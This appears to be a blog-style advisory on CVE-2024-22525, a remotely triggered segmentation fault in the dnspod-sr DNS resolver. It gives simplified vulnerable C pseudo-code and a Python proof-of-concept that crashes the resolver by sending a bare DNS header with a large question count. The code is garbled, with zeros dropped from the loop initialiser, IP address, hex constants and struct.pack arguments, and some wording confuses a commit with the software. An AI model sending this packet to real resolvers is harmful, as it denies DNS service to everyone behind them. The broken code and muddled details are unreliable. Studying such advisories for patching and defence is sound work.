CVE-2024-22525 - dnspod-sr dfbd37 Vulnerable to SEGV Exploit

The security landscape in the world of DNS software is ever-evolving. One recent and crucial vulnerability is CVE-2024-22525, affecting the DNSPod Simple Resolver (dnspod-sr) at commit dfbd37. Let’s break down what this means, demonstrate the exploit, and show you how to protect your systems.

What is CVE-2024-22525?

CVE-2024-22525 refers to a segmentation violation (SEGV) in the dnspod-sr resolver. A SEGmentation Violation (SEGV) typically crashes the process, and sometimes, with careful exploitation, can be used for code execution or denial of service (DoS).

Where did this happen?

This issue was found in commit dfbd37, which is an open-source DNS recursive resolver. The vulnerability is serious — it lets any remote user crash the running DNS resolver just by sending a crafted packet.

Reference

- Original report and patch
- NVD entry

Technical Details

The SEGV occurs because the server does not correctly check buffer lengths before processing incoming packets. If you send a DNS packet with malformed or oversized data, the code tries to read memory it shouldn't, leading to a crash.

Here's the simplified vulnerable code pattern

// Pseudo-code simplified for clarity
void process_query(uint8_t* buf, size_t len) {
    // Vulnerable: not validating 'len' before accessing the buffer
    uint16_t qdcount = (buf[4] << 8) | buf[5];
    uint8_t* ptr = buf + 12;  // Start of Questions section

    for (int i = ; i < qdcount; i++) {
        ptr = skip_name(ptr, buf, len); // skips QNAME
        ptr += 4; // skips QTYPE and QCLASS
        // If 'buf' is too short, ptr may go out of bounds → SEGFAULT!
    }
}

If a remote user sends a DNS query with a huge qdcount and a tiny actual packet, the code will crash when reading past buf + len.

How to Exploit

This bug can easily be used for a Denial of Service. An attacker just needs to send a short packet with a high qdcount field.

Here’s a minimal Python script that crashes the vulnerable dnspod-sr

import socket
import struct

# UDP socket, send to your running dnspod-sr (change address as needed)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('127...1', 53)

# DNS Header: ID + flags + qdcount=255 + ancount= + nscount= + arcount=
header = struct.pack(">HHHHHH", x1234, x010, 255, , , )  
# Only send header, no Questions data, causing SEGV in process_query()

sock.sendto(header, server_address)
sock.close()

print("Exploit sent!")

If this is your production resolver, all DNS queries for your network will fail.

- No authentication or special access is needed — anyone on the Internet can send you the crash packet.

Mitigation

- Update to latest dnspod-sr: The bug is fixed in later commits by adding proper buffer checks (see fix).

Final Words

CVE-2024-22525 is a classic example of why input validation is vital, especially for software facing the Internet, like DNS resolvers. If you’re running dnspod-sr, patch now!

Timeline

Published on: 06/06/2024 22:15:10 UTC
Last modified on: 10/15/2024 20:37:23 UTC